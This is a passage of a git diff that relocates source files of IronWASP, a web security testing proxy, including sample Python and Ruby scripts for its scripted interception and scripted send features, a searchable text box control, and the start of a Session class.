Interception"", ""Test Message"") -#This command will add an entry to the 'Debug Trace' section of the 'Dev' section. The two arguments must be strings, they can contain any value. -#This would provide a functionality similar to using the print command in your code. - -"; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class ScriptedInterceptor + { + public bool CallAfterInterception = false; + public bool AfterInterception = false; + + public ScriptedInterceptor() + { + + } + + public virtual bool ShouldIntercept(Session Sess) + { + return false; + } + + public bool DoesMatchRules(Session Sess) + { + if (Sess.Response == null) + { + return this.DoesMatchRequestInterceptionRules(Sess); + } + else + { + return this.DoesMatchResponseInterceptionRules(Sess); + } + } + + public bool DoesMatchRequestInterceptionRules(Session Sess) + { + return IronProxy.CanInterceptBasedOnFilter(Sess.Request); + } + + public bool DoesMatchResponseInterceptionRules(Session Sess) + { + if (Sess.Response == null) + { + return false; + } + else + { + return IronProxy.CanInterceptBasedOnFilter(Sess.Request, Sess.Response); + } + } + + internal static string GetSamplePythonScript() + { + return @" +#Scripted Interception allows you to determine when a Request or Response must be intercepted +#You can also manipulate Request or Response going through the proxy without intercepting them +#This is a sample Python script to showcase the 'Scripted Interception' feature +#To enable this feature click on 'Activate this Script for Scripted Interception' +#Once you do that the script here will be executed everytime a Request or Response goes through the proxy + +#sess is the Session object containing the Request or Response currently going through the proxy +#You can analyze and modify it. To intercept it you must return the boolean value - True + +#If this session does not match the Proxy Traffic Interception Rules defined in the config we don't intercept it +#The rules in the config can be accessed by clicking on 'Show Config' on the top right corner of IronWASP +#Doing this helps filter out things you had already blocked in the config +if not self.DoesMatchRules(sess): + return False + +#We check if the session object has a valid Response, if it does then currently a Response is passing through the proxy +if sess.Response: + #We check if the Response has SetCookie headers and if the corresponding request Url is equal to '/login' + #If that is the case we return True and this Response will be intercepted and displayed to the user + if len(sess.Response.SetCookies) > 0 and sess.Request.Url == ""/login"": + return True +#If the session object does not have valid Response then currently a Request is passing through the proxy +else: + #We check if the Request has a body parameter named 'c_token' if it does then we change it to some other value + if sess.Request.Body.Has(""c_token""): + sess.Request.Body.Set(""c_token"", ""xxxxxxxxx"") + +#To debug your script you can make use of the command Tools.Trace(""Scripted Interception"", ""Test Message"") +#This command will add an entry to the 'Debug Trace' section of the 'Dev' section. The two arguments must be strings, they can contain any value. +#This would provide a functionality similar to using the print command in your code. + +"; + } + + internal static string GetSampleRubyScript() + { + return @" + +#Scripted Interception allows you to determine when a Request or Response must be intercepted +#You can also manipulate Request or Response going through the proxy without intercepting them +#This is a sample Python script to showcase the 'Scripted Interception' feature +#To enable this feature click on 'Activate this Script for Scripted Interception' +#Once you do that the script here will be executed everytime a Request or Response goes through the proxy + +#sess is the Session object containing the Request or Response currently going through the proxy +#You can analyze and modify it. To intercept it you must return the boolean value - true + +#If this session does not match the Proxy Traffic Interception Rules defined in the config we don't intercept it +#The rules in the config can be accessed by clicking on 'Show Config' on the top right corner of IronWASP +#Doing this helps filter out things you had already blocked in the config +if not does_match_rules(sess) + return false +end + +#We check if the session object has a valid Response, if it does then currently a Response is passing through the proxy +if sess.response + #We check if the Response has SetCookie headers and if the corresponding request Url is equal to '/login' + #If that is the case we return true and this Response will be intercepted and displayed to the user + if sess.response.set_cookies.count > 0 and sess.request.url == ""/login"" + return true + end +#If the session object does not have valid Response then currently a Request is passing through the proxy +else + #We check if the Request has a body parameter named 'c_token' if it does then we change it to some other value + if sess.request.body.has(""c_token""): + sess.request.body.set(""c_token"", ""xxxxxxx"") + end +end + +#To debug your script you can make use of the command Tools.trace(""Scripted Interception"", ""Test Message"") +#This command will add an entry to the 'Debug Trace' section of the 'Dev' section. The two arguments must be strings, they can contain any value. +#This would provide a functionality similar to using the print command in your code. + +"; + } + } +} diff --git a/IronWASP/ScriptedSender.cs b/Iron/ScriptedSender.cs similarity index 97% rename from IronWASP/ScriptedSender.cs rename to Iron/ScriptedSender.cs index 35718f0..36de668 100644 --- a/IronWASP/ScriptedSender.cs +++ b/Iron/ScriptedSender.cs @@ -1,132 +1,132 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class ScriptedSender - { - internal Request Request; - internal int ID; - internal ScriptedSender ActualSender; - - public ScriptedSender() - { - - } - public virtual Response ScriptedSend(Request Req) - { - Response Res = new Response(); - return Res; - } - public void StoreRequest(Request Request) - { - ManualTesting.StoreRequest(Request.GetClone()); - } - internal ScriptedSender(Request Request, int ID, ScriptedSender ActualSender) - { - this.Request = Request; - this.ID = ID; - this.ActualSender = ActualSender; - } - internal void DoScriptedSend() - { - try - { - Response FinalResponse = ActualSender.ScriptedSend(this.Request).GetClone(); - FinalResponse.ID = this.ID; - IronDB.LogMTResponse(FinalResponse); - IronUI.UpdateMTLogGridWithResponse(FinalResponse); - ManualTesting.StoreInGroupList(FinalResponse); - } - catch(Exception Exp) - { - IronException.Report("ScriptedSend Failed", Exp.Message, Exp.StackTrace); - IronUI.ShowScriptedSendScriptException(Exp.Message); - IronUI.ShowMTException("ScriptedSend Failed"); - } - } - - internal static string GetSamplePythonScript() - { - return @" -#Scripted Send allows you to customize the Request sending action in the Manual Testing section -#This is a sample Python script to showcase the Scripted Send feature -#To enable this feature click on 'Activate this Script for Scripted Send' -#Once you do that the 'Scripted Send' button will be enabled in the Manual Testing section -#When you click on the 'Scripted Send' button the script written here will be executed. - -#This sample script will add a new header to all requests you send via the 'Scripted Send' feature -#req is the Request that is currently in the active Manual Testing window -req.Headers.Set(""X-Sent-By"", ""Scripted-Send"") -res = req.Send() -#res is the Response variable that will be returned by this script and which will be ultimately displayed in the Manual Testin section -#The log of the request with this additional header will be available in the 'Shell Logs' section - -#In addition to customizing the Send feature you can also automate Request updating using 'Stored Request' feature -#For example here if the response sends a Set-Cookie header then we update the Request with this new cookie value -#The updated Request is stored in memory and can be accessed by clicking on the 'Stored Request' button -#If there are no requests stored in memory then this button is disbled -if len(res.SetCookies) > 0: - new_req = req.GetClone() - new_req.SetCookie(res) - self.StoreRequest(new_req) - -#To debug your script you can make use of the command Tools.Trace(""Scripted Send"", ""Test Message"") -#This command will add an entry to the 'Debug Trace' section of the 'Dev' section. The two arguments must be strings, they can contain any value. -#This would provide a functionality similar to using the print command in your code. - -"; - } - - internal static string GetSampleRubyScript() - { - return @"#Scripted Send allows you to customize the Request sending action in the Manual Testing section -#This is a sample Ruby script to showcase the Scripted Send feature -#To enable this feature click on 'Activate this Script for Scripted Send' -#Once you do that the 'Scripted Send' button will be enabled in the Manual Testing section -#When you click on the 'Scripted Send' button the script written here will be executed. - -#This sample script will add a new header to all requests you send via the 'Scripted Send' feature -#req is the Request that is currently in the active Manual Testing window -req.headers.set(""X-Sent-By"", ""Scripted-Sendy"") -res = req.send_req -#res is the Response variable that will be returned by this script and which will be ultimately displayed in the Manual Testin section -#The log of the request with this additional header will be available in the 'Shell Logs' section - -#In addition to customizing the Send feature you can also automate Request updating using 'Stored Request' feature -#For example here if the response sends a Set-Cookie header then we update the Request with this new cookie value -#The updated Request is stored in memory and can be accessed by clicking on the 'Stored Request' button -#If there are no requests stored in memory then this button is disbled -if res.set_cookies.count > 0 - new_req = req.get_clone - new_req.set_cookie(res) - store_request(new_req) -end - -#To debug your script you can make use of the command Tools.trace(""Scripted Send"", ""Test Message"") -#This command will add an entry to the 'Debug Trace' section of the 'Dev' section. The two arguments must be strings, they can contain any value. -#This would provide a functionality similar to using the print command in your code. - -"; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class ScriptedSender + { + internal Request Request; + internal int ID; + internal ScriptedSender ActualSender; + + public ScriptedSender() + { + + } + public virtual Response ScriptedSend(Request Req) + { + Response Res = new Response(); + return Res; + } + public void StoreRequest(Request Request) + { + ManualTesting.StoreRequest(Request.GetClone()); + } + internal ScriptedSender(Request Request, int ID, ScriptedSender ActualSender) + { + this.Request = Request; + this.ID = ID; + this.ActualSender = ActualSender; + } + internal void DoScriptedSend() + { + try + { + Response FinalResponse = ActualSender.ScriptedSend(this.Request).GetClone(); + FinalResponse.ID = this.ID; + IronDB.LogMTResponse(FinalResponse); + IronUI.UpdateMTLogGridWithResponse(FinalResponse); + ManualTesting.StoreInGroupList(FinalResponse); + } + catch(Exception Exp) + { + IronException.Report("ScriptedSend Failed", Exp.Message, Exp.StackTrace); + IronUI.ShowScriptedSendScriptException(Exp.Message); + IronUI.ShowMTException("ScriptedSend Failed"); + } + } + + internal static string GetSamplePythonScript() + { + return @" +#Scripted Send allows you to customize the Request sending action in the Manual Testing section +#This is a sample Python script to showcase the Scripted Send feature +#To enable this feature click on 'Activate this Script for Scripted Send' +#Once you do that the 'Scripted Send' button will be enabled in the Manual Testing section +#When you click on the 'Scripted Send' button the script written here will be executed. + +#This sample script will add a new header to all requests you send via the 'Scripted Send' feature +#req is the Request that is currently in the active Manual Testing window +req.Headers.Set(""X-Sent-By"", ""Scripted-Send"") +res = req.Send() +#res is the Response variable that will be returned by this script and which will be ultimately displayed in the Manual Testin section +#The log of the request with this additional header will be available in the 'Shell Logs' section + +#In addition to customizing the Send feature you can also automate Request updating using 'Stored Request' feature +#For example here if the response sends a Set-Cookie header then we update the Request with this new cookie value +#The updated Request is stored in memory and can be accessed by clicking on the 'Stored Request' button +#If there are no requests stored in memory then this button is disbled +if len(res.SetCookies) > 0: + new_req = req.GetClone() + new_req.SetCookie(res) + self.StoreRequest(new_req) + +#To debug your script you can make use of the command Tools.Trace(""Scripted Send"", ""Test Message"") +#This command will add an entry to the 'Debug Trace' section of the 'Dev' section. The two arguments must be strings, they can contain any value. +#This would provide a functionality similar to using the print command in your code. + +"; + } + + internal static string GetSampleRubyScript() + { + return @"#Scripted Send allows you to customize the Request sending action in the Manual Testing section +#This is a sample Ruby script to showcase the Scripted Send feature +#To enable this feature click on 'Activate this Script for Scripted Send' +#Once you do that the 'Scripted Send' button will be enabled in the Manual Testing section +#When you click on the 'Scripted Send' button the script written here will be executed. + +#This sample script will add a new header to all requests you send via the 'Scripted Send' feature +#req is the Request that is currently in the active Manual Testing window +req.headers.set(""X-Sent-By"", ""Scripted-Sendy"") +res = req.send_req +#res is the Response variable that will be returned by this script and which will be ultimately displayed in the Manual Testin section +#The log of the request with this additional header will be available in the 'Shell Logs' section + +#In addition to customizing the Send feature you can also automate Request updating using 'Stored Request' feature +#For example here if the response sends a Set-Cookie header then we update the Request with this new cookie value +#The updated Request is stored in memory and can be accessed by clicking on the 'Stored Request' button +#If there are no requests stored in memory then this button is disbled +if res.set_cookies.count > 0 + new_req = req.get_clone + new_req.set_cookie(res) + store_request(new_req) +end + +#To debug your script you can make use of the command Tools.trace(""Scripted Send"", ""Test Message"") +#This command will add an entry to the 'Debug Trace' section of the 'Dev' section. The two arguments must be strings, they can contain any value. +#This would provide a functionality similar to using the print command in your code. + +"; + } + } +} diff --git a/IronWASP/SearchableTextBox.Designer.cs b/Iron/SearchableTextBox.Designer.cs similarity index 97% rename from IronWASP/SearchableTextBox.Designer.cs rename to Iron/SearchableTextBox.Designer.cs index 451f888..99e0e86 100644 --- a/IronWASP/SearchableTextBox.Designer.cs +++ b/Iron/SearchableTextBox.Designer.cs @@ -1,110 +1,110 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class SearchableTextBox - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.matches = new System.Windows.Forms.Label(); - this.MainText = new System.Windows.Forms.TextBox(); - this.searchbox = new System.Windows.Forms.TextBox(); - this.SuspendLayout(); - // - // matches - // - this.matches.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.matches.AutoSize = true; - this.matches.Location = new System.Drawing.Point(522, 259); - this.matches.Name = "matches"; - this.matches.Size = new System.Drawing.Size(0, 13); - this.matches.TabIndex = 6; - // - // MainText - // - this.MainText.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MainText.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.MainText.Font = new System.Drawing.Font("Lucida Console", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.MainText.HideSelection = false; - this.MainText.Location = new System.Drawing.Point(0, 1); - this.MainText.Margin = new System.Windows.Forms.Padding(0); - this.MainText.MaxLength = 2147483647; - this.MainText.Multiline = true; - this.MainText.Name = "MainText"; - this.MainText.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.MainText.Size = new System.Drawing.Size(560, 252); - this.MainText.TabIndex = 4; - // - // searchbox - // - this.searchbox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.searchbox.Location = new System.Drawing.Point(45, 256); - this.searchbox.Name = "searchbox"; - this.searchbox.Size = new System.Drawing.Size(471, 20); - this.searchbox.TabIndex = 5; - // - // SearchableTextBox - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.Controls.Add(this.matches); - this.Controls.Add(this.MainText); - this.Controls.Add(this.searchbox); - this.Name = "SearchableTextBox"; - this.Size = new System.Drawing.Size(560, 277); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Label matches; - private System.Windows.Forms.TextBox MainText; - private System.Windows.Forms.TextBox searchbox; - - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class SearchableTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.matches = new System.Windows.Forms.Label(); + this.MainText = new System.Windows.Forms.TextBox(); + this.searchbox = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // matches + // + this.matches.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.matches.AutoSize = true; + this.matches.Location = new System.Drawing.Point(522, 259); + this.matches.Name = "matches"; + this.matches.Size = new System.Drawing.Size(0, 13); + this.matches.TabIndex = 6; + // + // MainText + // + this.MainText.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MainText.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.MainText.Font = new System.Drawing.Font("Lucida Console", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.MainText.HideSelection = false; + this.MainText.Location = new System.Drawing.Point(0, 1); + this.MainText.Margin = new System.Windows.Forms.Padding(0); + this.MainText.MaxLength = 2147483647; + this.MainText.Multiline = true; + this.MainText.Name = "MainText"; + this.MainText.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.MainText.Size = new System.Drawing.Size(560, 252); + this.MainText.TabIndex = 4; + // + // searchbox + // + this.searchbox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.searchbox.Location = new System.Drawing.Point(45, 256); + this.searchbox.Name = "searchbox"; + this.searchbox.Size = new System.Drawing.Size(471, 20); + this.searchbox.TabIndex = 5; + // + // SearchableTextBox + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.matches); + this.Controls.Add(this.MainText); + this.Controls.Add(this.searchbox); + this.Name = "SearchableTextBox"; + this.Size = new System.Drawing.Size(560, 277); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label matches; + private System.Windows.Forms.TextBox MainText; + private System.Windows.Forms.TextBox searchbox; + + } +} diff --git a/IronWASP/SearchableTextBox.cs b/Iron/SearchableTextBox.cs similarity index 96% rename from IronWASP/SearchableTextBox.cs rename to Iron/SearchableTextBox.cs index 90eca03..08434db 100644 --- a/IronWASP/SearchableTextBox.cs +++ b/Iron/SearchableTextBox.cs @@ -1,219 +1,219 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Drawing; -using System.Data; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class SearchableTextBox : UserControl - { - public SearchableTextBox() - { - InitializeComponent(); - } - - public override string Text - { - get - { - return MainText.Text; - } - set - { - MainText.Text = value; - find(); - } - } - - public bool ReadOnly - { - get - { - return MainText.ReadOnly; - } - set - { - MainText.ReadOnly = value; - MainText.BackColor = Color.White; - } - } - - public override Font Font - { - get - { - return MainText.Font; - } - set - { - MainText.Font = value; - } - } - - string keyword = ""; - List match_spots = new List(); - int current_spot = 0; - - private void searchbox_KeyUp(object sender, KeyEventArgs e) - { - if (searchbox.Text.Length == 0) - { - reset_values(); - return; - } - else if (MainText.Text.Length == 0) - { - return; - } - if (e.KeyCode == Keys.Enter) - { - if (searchbox.Text.Equals(keyword)) - { - find_next(); - } - else - { - find(); - } - return; - } - if (e.KeyCode == Keys.PageUp) - { - find_prev(); - } - else if (e.KeyCode == Keys.PageDown) - { - find_next(); - } - } - - void find() - { - reset_values(); - keyword = searchbox.Text; - if (keyword.Length == 0) return; - bool loop = true; - int start_index = 0; - while (loop) - { - loop = false; - int match_spot = MainText.Text.IndexOf(keyword, start_index, StringComparison.CurrentCultureIgnoreCase); - if (match_spot >= 0) - { - match_spots.Add(match_spot); - if ((match_spot + keyword.Length) < MainText.Text.Length) - { - start_index = match_spot + 1; - loop = true; - } - } - } - matches.Text = match_spots.Count.ToString(); - if (match_spots.Count > 0) - { - MainText.Select(match_spots[0], keyword.Length); - MainText.ScrollToCaret(); - } - } - - void find_next() - { - if (match_spots.Count == 0) - { - return; - } - if (current_spot == (match_spots.Count - 1)) - { - current_spot = 0; - } - else - { - current_spot++; - } - MainText.Select(match_spots[current_spot], keyword.Length); - MainText.ScrollToCaret(); - } - - void find_prev() - { - if (match_spots.Count == 0) - { - return; - } - if (current_spot == 0) - { - current_spot = match_spots.Count - 1; - } - else - { - current_spot--; - } - MainText.Select(match_spots[current_spot], keyword.Length); - MainText.ScrollToCaret(); - } - void reset_values() - { - if (matches.Text != "0") - { - keyword = ""; - match_spots.RemoveRange(0, match_spots.Count); - current_spot = 0; - matches.Text = "0"; - MainText.DeselectAll(); - } - } - - internal string PlaceMarkersAroundSelectedText(string StartMarker, string EndMarker) - { - try - { - string OldText = MainText.Text; - int SelectionStart = MainText.SelectionStart; - int SelectionLength = MainText.SelectionLength; - if (SelectionLength < 1) return "No section selected"; - string FirstPart = OldText.Substring(0, SelectionStart); - string MiddlePart = OldText.Substring(SelectionStart, SelectionLength); - string LastPart = OldText.Substring(SelectionStart + SelectionLength); - StringBuilder SB = new StringBuilder(); - SB.Append(FirstPart); SB.Append(StartMarker); SB.Append(MiddlePart); SB.Append(EndMarker); SB.Append(LastPart); - MainText.Text = SB.ToString(); - return ""; - } - catch { return "Could not place markers"; } - } - - private void maintext_TextChanged(object sender, EventArgs e) - { - reset_values(); - if (TextValueChanged != null) - { - TextValueChanged(); - } - } - - public delegate void TextChangedEvent(); - - public event TextChangedEvent TextValueChanged; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class SearchableTextBox : UserControl + { + public SearchableTextBox() + { + InitializeComponent(); + } + + public override string Text + { + get + { + return MainText.Text; + } + set + { + MainText.Text = value; + find(); + } + } + + public bool ReadOnly + { + get + { + return MainText.ReadOnly; + } + set + { + MainText.ReadOnly = value; + MainText.BackColor = Color.White; + } + } + + public override Font Font + { + get + { + return MainText.Font; + } + set + { + MainText.Font = value; + } + } + + string keyword = ""; + List match_spots = new List(); + int current_spot = 0; + + private void searchbox_KeyUp(object sender, KeyEventArgs e) + { + if (searchbox.Text.Length == 0) + { + reset_values(); + return; + } + else if (MainText.Text.Length == 0) + { + return; + } + if (e.KeyCode == Keys.Enter) + { + if (searchbox.Text.Equals(keyword)) + { + find_next(); + } + else + { + find(); + } + return; + } + if (e.KeyCode == Keys.PageUp) + { + find_prev(); + } + else if (e.KeyCode == Keys.PageDown) + { + find_next(); + } + } + + void find() + { + reset_values(); + keyword = searchbox.Text; + if (keyword.Length == 0) return; + bool loop = true; + int start_index = 0; + while (loop) + { + loop = false; + int match_spot = MainText.Text.IndexOf(keyword, start_index, StringComparison.CurrentCultureIgnoreCase); + if (match_spot >= 0) + { + match_spots.Add(match_spot); + if ((match_spot + keyword.Length) < MainText.Text.Length) + { + start_index = match_spot + 1; + loop = true; + } + } + } + matches.Text = match_spots.Count.ToString(); + if (match_spots.Count > 0) + { + MainText.Select(match_spots[0], keyword.Length); + MainText.ScrollToCaret(); + } + } + + void find_next() + { + if (match_spots.Count == 0) + { + return; + } + if (current_spot == (match_spots.Count - 1)) + { + current_spot = 0; + } + else + { + current_spot++; + } + MainText.Select(match_spots[current_spot], keyword.Length); + MainText.ScrollToCaret(); + } + + void find_prev() + { + if (match_spots.Count == 0) + { + return; + } + if (current_spot == 0) + { + current_spot = match_spots.Count - 1; + } + else + { + current_spot--; + } + MainText.Select(match_spots[current_spot], keyword.Length); + MainText.ScrollToCaret(); + } + void reset_values() + { + if (matches.Text != "0") + { + keyword = ""; + match_spots.RemoveRange(0, match_spots.Count); + current_spot = 0; + matches.Text = "0"; + MainText.DeselectAll(); + } + } + + internal string PlaceMarkersAroundSelectedText(string StartMarker, string EndMarker) + { + try + { + string OldText = MainText.Text; + int SelectionStart = MainText.SelectionStart; + int SelectionLength = MainText.SelectionLength; + if (SelectionLength < 1) return "No section selected"; + string FirstPart = OldText.Substring(0, SelectionStart); + string MiddlePart = OldText.Substring(SelectionStart, SelectionLength); + string LastPart = OldText.Substring(SelectionStart + SelectionLength); + StringBuilder SB = new StringBuilder(); + SB.Append(FirstPart); SB.Append(StartMarker); SB.Append(MiddlePart); SB.Append(EndMarker); SB.Append(LastPart); + MainText.Text = SB.ToString(); + return ""; + } + catch { return "Could not place markers"; } + } + + private void maintext_TextChanged(object sender, EventArgs e) + { + reset_values(); + if (TextValueChanged != null) + { + TextValueChanged(); + } + } + + public delegate void TextChangedEvent(); + + public event TextChangedEvent TextValueChanged; + } +} diff --git a/Iron/SearchableTextBox.resx b/Iron/SearchableTextBox.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/Iron/SearchableTextBox.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/IronWASP/Session.cs b/Iron/Session.cs similarity index 96% rename from IronWASP/Session.cs rename to Iron/Session.cs index c1e6d2b..c791bd0 100644 --- a/IronWASP/Session.cs +++ b/Iron/Session.cs @@ -1,418 +1,426 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Threading; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.Text; - -namespace IronWASP -{ - public class Session - { - internal Fiddler.Session FiddlerSession; - public Request Request; - public Response Response; - internal ManualResetEvent MSR; - - //to be used only by IronProxy - internal Request OriginalRequest; - internal Response OriginalResponse; - - internal Dictionary Flags = new Dictionary(); - - public int LogId - { - get - { - return this.GetId(); - } - } - - public Session(Fiddler.Session _FiddlerSession) - { - this.FiddlerSession = _FiddlerSession; - this.Request = new Request(this.FiddlerSession); - if (this.FiddlerSession.bHasResponse) - { - this.Response = new Response(this.FiddlerSession); - } - } - - public Session(string RequestString, string ResponseString) - { - this.Request = new Request(RequestString,false,true); - this.Response = new Response(ResponseString); - this.FiddlerSession = new Fiddler.Session(this.Request.GetFullRequestAsByteArray(), this.Response.GetFullResponseAsByteArray()); - } - - public Session(Request Request, Response Response) - { - this.Request = Request; - this.Response = Response; - this.FiddlerSession = new Fiddler.Session(this.Request.GetFullRequestAsByteArray(), this.Response.GetFullResponseAsByteArray()); - } - - public Session(string RequestString) - { - this.FiddlerSession = Session.CreateFiddlerSessionFromRequestString(RequestString); - this.Request = new Request(this.FiddlerSession); - } - - public Session(Request Req) - { - this.FiddlerSession = Req.ReturnAsFiddlerSession(); - this.Request = Req; - } - - public Session() - { - - } - - internal int ID - { - set - { - FiddlerSession.oFlags["IronFlag-ID"] = value.ToString(); - this.Request.ID = value; - } - get - { - return Int32.Parse(FiddlerSession.oFlags["IronFlag-ID"]); - } - } - - public static Session CreateSessionFromRequestString(string RequestString) - { - 